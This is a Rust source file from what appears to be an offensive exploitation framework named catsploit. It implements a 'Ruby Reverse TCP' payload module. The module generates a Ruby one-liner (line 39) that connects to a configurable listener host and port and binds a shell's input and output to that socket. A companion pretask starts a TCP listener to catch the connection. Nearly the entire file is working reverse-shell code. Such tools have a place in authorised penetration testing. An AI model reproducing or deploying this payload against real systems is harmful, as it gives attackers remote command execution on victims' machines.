catsploit_lib/module/payload/ruby/
ruby_reverse_tcp.rs

1use crate::core::{
2    handler::generic_tcp_handler::GenericTcpHandler,
3    opt::Opt,
4    payload::{
5        reverse::{self, Reverse},
6        Info, Kind, Payload,
7    },
8};
9use std::error::Error;
10
11#[derive(Clone)]
12pub struct RubyReverseTcp {
13    pub reverse: Reverse,
14}
15
16impl Payload for RubyReverseTcp {
17    fn default() -> Self {
18        RubyReverseTcp {
19            reverse: Reverse::default(),
20        }
21    }
22
23    fn kind(&self) -> Kind {
24        Kind::ReverseShell
25    }
26
27    fn needs_pretask(&self) -> bool {
28        true
29    }
30
31    fn pretask(&self) -> Result<(), Box<dyn std::error::Error>> {
32        let mut handler = GenericTcpHandler::new("0.0.0.0", &self.reverse.lport)?;
33        handler.listen_for_one(false)?;
34        Ok(())
35    }
36
37    fn blob(&self) -> Vec<u8> {
38        let blob = format!(
39            r#"ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("{}",{}))'"#,
40            self.reverse.lhost, self.reverse.lport
41        );
42        blob.into_bytes()
43    }
44
45    fn info(&self) -> Info {
46        Info {
47            descriptive_name: "Ruby Reverse TCP".to_string(),
48            module_path: "payload/ruby/reverse_tcp".to_string(),
49            kind: self.kind().to_string(),
50            description: None,
51            license: None,
52            author: None,
53            references: None,
54            platform: None,
55        }
56    }
57
58    fn opts(&self) -> Vec<Opt> {
59        let mut opts: Vec<Opt> = Vec::new();
60        let mut reverse_opts = Reverse::opts();
61        opts.append(&mut reverse_opts);
62        opts
63    }
64
65    fn apply_opts(&mut self, opts: Vec<Opt>) -> Result<(), Box<dyn Error>> {
66        reverse::apply_opts!(self, opts);
67        Ok(())
68    }
69}